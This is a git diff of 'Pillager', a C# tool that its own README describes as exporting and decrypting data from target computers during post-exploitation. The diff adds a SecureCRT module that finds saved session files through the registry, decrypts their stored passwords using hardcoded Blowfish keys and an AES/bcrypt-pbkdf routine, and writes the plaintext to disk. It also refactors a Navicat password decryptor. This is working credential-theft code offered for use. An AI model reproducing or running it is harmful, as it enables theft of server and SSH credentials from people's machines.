0x15056dd4, 0x88f46dba, 0x03a16125, 0x0564f0bd,
0xc3eb9e15, 0x3c9057a2, 0x97271aec, 0xa93a072a,
0x1b3f6d9b, 0x1e6321f5, 0xf59c66fb, 0x26dcf319,
0x7533d928, 0xb155fdf5, 0x03563482, 0x8aba3cbb,
0x28517711, 0xc20ad9f8, 0xabcc5167, 0xccad925f,
0x4de81751, 0x3830dc8e, 0x379d5862, 0x9320f991,
0xea7a90c2, 0xfb3e7bce, 0x5121ce64, 0x774fbe32,
0xa8b6e37e, 0xc3293d46, 0x48de5369, 0x6413e680,
0xa2ae0810, 0xdd6db224, 0x69852dfd, 0x09072166,
0xb39a460a, 0x6445c0dd, 0x586cdecf, 0x1c20c8ae,
0x5bbef7dd, 0x1b588d40, 0xccd2017f, 0x6bb4e3bb,
0xdda26a7e, 0x3a59ff45, 0x3e350a44, 0xbcb4cdd5,
0x72eacea8, 0xfa6484bb, 0x8d6612ae, 0xbf3c6f47,
0xd29be463, 0x542f5d9e, 0xaec2771b, 0xf64e6370,
0x740e0d8d, 0xe75b1357, 0xf8721671, 0xaf537d5d,
0x4040cb08, 0x4eb4e2cc, 0x34d2466a, 0x0115af84,
0xe1b00428, 0x95983a1d, 0x06b89fb4, 0xce6ea048,
0x6f3f3b82, 0x3520ab82, 0x011a1d4b, 0x277227f8,
0x611560b1, 0xe7933fdc, 0xbb3a792b, 0x344525bd,
0xa08839e1, 0x51ce794b, 0x2f32c9b7, 0xa01fbac9,
0xe01cc87e, 0xbcc7d1f6, 0xcf0111c3, 0xa1e8aac7,
0x1a908749, 0xd44fbd9a, 0xd0dadecb, 0xd50ada38,
0x0339c32a, 0xc6913667, 0x8df9317c, 0xe0b12b4f,
0xf79e59b7, 0x43f5bb3a, 0xf2d519ff, 0x27d9459c,
0xbf97222c, 0x15e6fc2a, 0x0f91fc71, 0x9b941525,
0xfae59361, 0xceb69ceb, 0xc2a86459, 0x12baa8d1,
0xb6c1075e, 0xe3056a0c, 0x10d25065, 0xcb03a442,
0xe0ec6e0e, 0x1698db3b, 0x4c98a0be, 0x3278e964,
0x9f1f9532, 0xe0d392df, 0xd3a0342b, 0x8971f21e,
0x1b0a7441, 0x4ba3348c, 0xc5be7120, 0xc37632d8,
0xdf359f8d, 0x9b992f2e, 0xe60b6f47, 0x0fe3f11d,
0xe54cda54, 0x1edad891, 0xce6279cf, 0xcd3e7e6f,
0x1618b166, 0xfd2c1d05, 0x848fd2c5, 0xf6fb2299,
0xf523f357, 0xa6327623, 0x93a83531, 0x56cccd02,
0xacf08162, 0x5a75ebb5, 0x6e163697, 0x88d273cc,
0xde966292, 0x81b949d0, 0x4c50901b, 0x71c65614,
0xe6c6c7bd, 0x327a140a, 0x45e1d006, 0xc3f27b9a,
0xc9aa53fd, 0x62a80f00, 0xbb25bfe2, 0x35bdd2f6,
0x71126905, 0xb2040222, 0xb6cbcf7c, 0xcd769c2b,
0x53113ec0, 0x1640e3d3, 0x38abbd60, 0x2547adf0,
0xba38209c, 0xf746ce76, 0x77afa1c5, 0x20756060,
0x85cbfe4e, 0x8ae88dd8, 0x7aaaf9b0, 0x4cf9aa7e,
0x1948c25c, 0x02fb8a8c, 0x01c36ae4, 0xd6ebe1f9,
0x90d4f869, 0xa65cdea0, 0x3f09252d, 0xc208e69f,
0xb74e6132, 0xce77e25b, 0x578fdfe3, 0x3ac372e6
};
}
}

35
Pillager/Helper/Navicat11Cipher.cs
View File

@ -29,7 +29,8 @@ namespace Pillager.Helper
byte[] UserKey = Encoding.UTF8.GetBytes("3DC5CA39");
var sha1 = new SHA1CryptoServiceProvider();
sha1.TransformFinalBlock(UserKey, 0, UserKey.Length);
blowfishCipher = new Blowfish(sha1.Hash);
blowfishCipher = new Blowfish();
blowfishCipher.InitializeKey(sha1.Hash);
}
public Navicat11Cipher(string CustomUserKey)
@ -37,37 +38,39 @@ namespace Pillager.Helper
byte[] UserKey = Encoding.UTF8.GetBytes(CustomUserKey);
var sha1 = new SHA1CryptoServiceProvider();
byte[] UserKeyHash = sha1.TransformFinalBlock(UserKey, 0, 8);
blowfishCipher = new Blowfish(UserKeyHash);
blowfishCipher = new Blowfish();
blowfishCipher.InitializeKey(UserKeyHash);
}
public string DecryptString(string ciphertext)
{
int BlockSize = 8;
byte[] ciphertext_bytes = StringToByteArray(ciphertext);
byte[] CV = Enumerable.Repeat<byte>(0xFF, Blowfish.BlockSize).ToArray();
blowfishCipher.Encrypt(CV, Blowfish.Endian.Big);
byte[] CV = Enumerable.Repeat<byte>(0xFF, BlockSize).ToArray();
blowfishCipher.BlockEncrypt(CV, 0, CV, 0);
byte[] ret = new byte[0];
int blocks_len = ciphertext_bytes.Length / Blowfish.BlockSize;
int left_len = ciphertext_bytes.Length % Blowfish.BlockSize;
byte[] temp = new byte[Blowfish.BlockSize];
byte[] temp2 = new byte[Blowfish.BlockSize];
int blocks_len = ciphertext_bytes.Length / BlockSize;
int left_len = ciphertext_bytes.Length % BlockSize;
byte[] temp = new byte[BlockSize];
byte[] temp2 = new byte[BlockSize];
for (int i = 0; i < blocks_len; ++i)
{
Array.Copy(ciphertext_bytes, Blowfish.BlockSize * i, temp, 0, Blowfish.BlockSize);
Array.Copy(temp, temp2, Blowfish.BlockSize);
blowfishCipher.Decrypt(temp, Blowfish.Endian.Big);
XorBytes(temp, CV, Blowfish.BlockSize);
Array.Copy(ciphertext_bytes, BlockSize * i, temp, 0, BlockSize);
Array.Copy(temp, temp2, BlockSize);
blowfishCipher.BlockDecrypt(temp, 0, temp, 0);
XorBytes(temp, CV, BlockSize);
ret = ret.Concat(temp).ToArray();
XorBytes(CV, temp2, Blowfish.BlockSize);
XorBytes(CV, temp2, BlockSize);
}
if (left_len != 0)
{
Array.Clear(temp, 0, temp.Length);
Array.Copy(ciphertext_bytes, Blowfish.BlockSize * blocks_len, temp, 0, left_len);
blowfishCipher.Encrypt(CV, Blowfish.Endian.Big);
XorBytes(temp, CV, Blowfish.BlockSize);
Array.Copy(ciphertext_bytes, BlockSize * blocks_len, temp, 0, left_len);
blowfishCipher.BlockEncrypt(CV, 0, CV, 0);
XorBytes(temp, CV, BlockSize);
ret = ret.Concat(temp.Take(left_len).ToArray()).ToArray();
}

2
Pillager/Pillager.csproj
View File

@ -52,6 +52,7 @@
<Compile Include="Helper\AesGcm.cs" />
<Compile Include="Helper\Asn1Der.cs" />
<Compile Include="Browsers\Chrome.cs" />
<Compile Include="Helper\Bcrypt.cs" />
<Compile Include="Helper\Blowfish.cs" />
<Compile Include="Helper\decryptMoz3DES.cs" />
<Compile Include="Helper\Navicat11Cipher.cs" />
@ -87,6 +88,7 @@
<Compile Include="Tools\MobaXterm.cs" />
<Compile Include="Tools\Navicat.cs" />
<Compile Include="Tools\RDCMan.cs" />
<Compile Include="Tools\SecureCRT.cs" />
<Compile Include="Tools\SQLyog.cs" />
<Compile Include="Softwares\VSCode.cs" />
<Compile Include="Tools\TortoiseSVN.cs" />

1
Pillager/Program.cs
View File

@ -45,6 +45,7 @@ namespace Pillager
SQLyog.Save(savepath);
DBeaver.Save(savepath);
TortoiseSVN.Save(savepath);
SecureCRT.Save(savepath);
//Softwares
VSCode.Save(savepath);

179
Pillager/Tools/SecureCRT.cs Normal file
View File

@ -0,0 +1,179 @@
using Microsoft.Win32;
using Pillager.Helper;
using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
namespace Pillager.Tools
{
internal class SecureCRT
{
public static string ToolName = "SecureCRT";
public static string DecryptV2(string input, string passphrase = "")
{
try
{
if (!input.StartsWith("02") && !input.StartsWith("03")) return "";
bool v3 = input.StartsWith("03");
input = input.Substring(3);
byte[] keyBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(passphrase));
byte[] iv = new byte[16];
byte[] array = fromhex(input);
if (v3)
{
byte[] ciphertext_bytes = new byte[array.Length - 16];
byte[] salt = new byte[16];
Array.Copy(array, 0, salt, 0, 16);
Array.Copy(array, 16, ciphertext_bytes, 0, array.Length - 16);
array = ciphertext_bytes;
Bcrypt b = new Bcrypt();
var bytes = b.BcryptPbkdf("", salt, 16, 48);
keyBytes = new byte[32];
Array.Copy(bytes, 0, keyBytes, 0, 32);
Array.Copy(bytes, 32, iv, 0, 16);
}
byte[] decrypted;
using (MemoryStream memoryStream = new MemoryStream())
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
rijndaelManaged.Key = keyBytes;
rijndaelManaged.IV = iv;
rijndaelManaged.Mode = CipherMode.CBC;
rijndaelManaged.Padding = PaddingMode.Zeros;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(array, 0, array.Length);
cryptoStream.Close();
}
decrypted = memoryStream.ToArray();
}
}
if (decrypted.Length < 4) return "";
int num = BitConverter.ToInt32(new byte[4]
{
decrypted[0],
decrypted[1],
decrypted[2],
decrypted[3]
}, 0);
if (decrypted.Length < 4 + num + 32) return "";
byte[] array3 = new byte[num];
byte[] array4 = new byte[32];
byte[] a_ = new byte[32];
Array.Copy(decrypted, 4, array3, 0, num);
Array.Copy(decrypted, 4 + num, array4, 0, 32);
using (SHA256 sHA = SHA256.Create())
{
a_ = sHA.ComputeHash(array3);
}
if (a_.Length != array4.Length) return "";
for (int i = 0; i < a_.Length; i++)
{
if (a_[i] != array4[i])
return "";
}
return Encoding.UTF8.GetString(array3);
}
catch
{
return "";
}
}
private static byte[] fromhex(string hex)
{
byte[] mybyte = new byte[int.Parse(Math.Ceiling(hex.Length / 2.0).ToString())];
for (int i = 0; i < mybyte.Length; i++)
{
int len = 2 <= hex.Length ? 2 : hex.Length;
mybyte[i] = Convert.ToByte(hex.Substring(0, len), 16);
hex = hex.Substring(len, hex.Length - len);
}
return mybyte;
}
public static string Decrypt(string str)
{
byte[] IV = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
byte[] Key1 = { 0x24, 0xa6, 0x3d, 0xde, 0x5b, 0xd3, 0xb3, 0x82, 0x9c, 0x7e, 0x06, 0xf4, 0x08, 0x16, 0xaa, 0x07 };
byte[] Key2 = { 0x5f, 0xb0, 0x45, 0xa2, 0x94, 0x17, 0xd9, 0x16, 0xc6, 0xc6, 0xa2, 0xff, 0x06, 0x41, 0x82, 0xb7 };
byte[] ciphered_bytes = fromhex(str);
if (ciphered_bytes.Length <= 8) return null;
Blowfish algo = new Blowfish();
algo.InitializeKey(Key1);
algo.SetIV(IV);
byte[] decryptedTxt = new byte[ciphered_bytes.Length];
algo.DecryptCBC(ciphered_bytes, 0, ciphered_bytes.Length, decryptedTxt, 0);
decryptedTxt = decryptedTxt.Skip(4).Take(decryptedTxt.Length - 8).ToArray();
algo = new Blowfish();
algo.InitializeKey(Key2);
algo.SetIV(IV);
algo.DecryptCBC(decryptedTxt, 0, decryptedTxt.Length, ciphered_bytes, 0);
string ciphered = Encoding.Unicode.GetString(ciphered_bytes).Split('\0')[0];
return ciphered;
}
public static string GetInfo()
{
StringBuilder sb = new StringBuilder();
string name = "Software\\VanDyke\\SecureCRT";
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(name);
if (registryKey == null) return "";
string path = Path.Combine(registryKey.GetValue("Config Path").ToString(), "Sessions");
if (Directory.Exists(path))
{
FileInfo[] files = new DirectoryInfo(path).GetFiles("*.ini", SearchOption.AllDirectories);
foreach (FileInfo fileInfo in files)
{
if (fileInfo.Name.ToLower().Equals("__FolderData__.ini".ToLower())) continue;
foreach (string line in File.ReadAllLines(fileInfo.FullName))
{
if (line.IndexOf('=') != -1)
{
string text3 = line.Split('=')[0];
string a_2 = line.Split('=')[1];
if (text3.ToLower().Contains("S:\"Password\"".ToLower()))
{
sb.AppendLine("S:\"Password\"=" + Decrypt(a_2));
}
else if (text3.ToLower().Contains("S:\"Password V2\"".ToLower()))
{
sb.AppendLine("S:\"Password V2\"=" + DecryptV2(a_2));
}
else
{
sb.AppendLine(line);
}
}
}
}
}
return sb.ToString();
}
public static void Save(string path)
{
try
{
string output = GetInfo();
if (string.IsNullOrEmpty(output)) return;
string savepath = Path.Combine(path, ToolName);
Directory.CreateDirectory(savepath);
File.WriteAllText(Path.Combine(savepath, ToolName + ".txt"), output);
}
catch { }
}
}
}

1
README.md
View File

@ -67,6 +67,7 @@ Pillager is a tool for exporting and decrypting useful data from target computer
* FinalShell
* Navicat
* SQLyog
* SecureCRT
* Outlook
* MailBird
* WinSCP

1
README_ZH.md
View File

@ -65,6 +65,7 @@ Pillager是一个适用于后渗透期间的信息收集工具，可以收集目
* FinalShell
* Navicat
* SQLyog
* SecureCRT
* Outlook
* MailBird
* WinSCP